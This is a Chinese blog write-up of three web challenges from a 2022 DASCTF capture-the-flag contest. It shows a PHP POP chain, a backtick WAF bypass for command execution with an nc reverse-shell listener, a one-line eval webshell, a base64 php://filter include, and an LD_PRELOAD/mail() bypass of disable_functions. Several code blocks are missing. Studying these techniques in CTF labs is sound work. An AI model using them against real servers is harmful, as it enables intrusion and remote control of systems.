2022DASCTF X SU 三月春季挑战赛 Web部分 WriteUp
ezpop
1 |
|
一道常规的反序列题目,审计代码可以得到pop链为
1 | fin::__destruct |
对于eval('#' . $this->m1)
,可以用换行符\n
绕过,构造如下
1 |
|
calc
一道常规的计算器题目,要想办法rce,以下给出了源码
1 | /app.py |
代码中waf(s)
函数有很多的屏蔽词,但是没有屏蔽反引号,可以内联执行将反引号内命令的输出作为输入执行
构造payload并将回显反弹到服务器上
1 | root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666 |
upgdstore
题目只让上传php文件,但是对文件内容有许多过滤,尝试传入一句话木马,发现$被过滤,那就先传一个phpinfo();
看看
访问phpinfo后发现有成堆的disable_functions,只有少数几个函数可以使用
可以考虑使用show_source()
读取index.php
1 |
|
测试后发现show_source
在黑名单种,于是可以使用base64进行绕过
1 |
|
成功读取到源代码
1 | <div class="light"><span class="glow"> |
waf函数中使用的strstr()
是对大小写敏感的,故可以用大小写绕过waf
可以先传入一个b64的一句话
1 | eval($_POST['mac']); @ |
再上传一个php文件使用include来包含刚刚的一句话,利用伪协议对base64进行解码
1 | php://filter/convert.base64-decode/resource=./f3b94e88bd1bd325af6f62828c8785dd.php |
1 |
|
成功getshell,但由于system()
等函数被禁用,所以需要bypass disable_function
本来想试一试蚁剑的插件,但是这个shell怎么都连不上,非常奇怪
先构造恶意exp.c
1 |
|
编译成so文件
1 | gcc exp.c -o exp.so -shared -fPIC |
利用move_uploaded_file
进行文件上传
1 | move_uploaded_file($_FILES['upload_file']['tmp_name'],'www') |
访问并反弹shell
1 | mac=putenv("LD_PRELOAD=/var/www/html/uploads/aaaaa.so");mail("","","","",""); |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 H4cking to the Gate .!
评论